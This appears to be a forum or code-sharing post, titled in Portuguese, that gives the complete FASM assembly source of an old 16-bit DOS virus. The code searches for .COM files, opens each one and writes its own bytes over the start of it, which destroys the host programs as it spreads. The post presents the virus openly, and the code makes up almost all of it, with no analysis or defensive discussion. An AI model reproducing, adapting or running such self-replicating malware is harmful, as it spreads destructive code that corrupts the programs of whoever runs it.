[ASSEMBLY] - Vírus antigo que infecta arquivo .COM - (16Bits) - FASM

#fasm#

org  100h

jmp inicio

FILE_COM db '*.COM',0       ;string for COM file search        

FNAME equ 9eh                ;search-function file name result

inicio:

      mov ah,4eh            ;search for *.COM (search first)

      mov dx,FILE_COM

      int 21h

OpenFile:

      jc DONE

      mov ax, 3d01h            ;open file we found

      mov dx, FNAME

      int 21h      

      xchg ax,bx        ;write virus to file

      mov ah,40h

      mov cl,42        ;size of this virus

      mov dx,100h    ;location of this virus

      int 21h            

      mov ah,3eh

      int 21h        ;close file

      mov ah,4fh

      int 21h            ;search for next file

      jmp OpenFile

DONE:

     ret            ;exit to DOS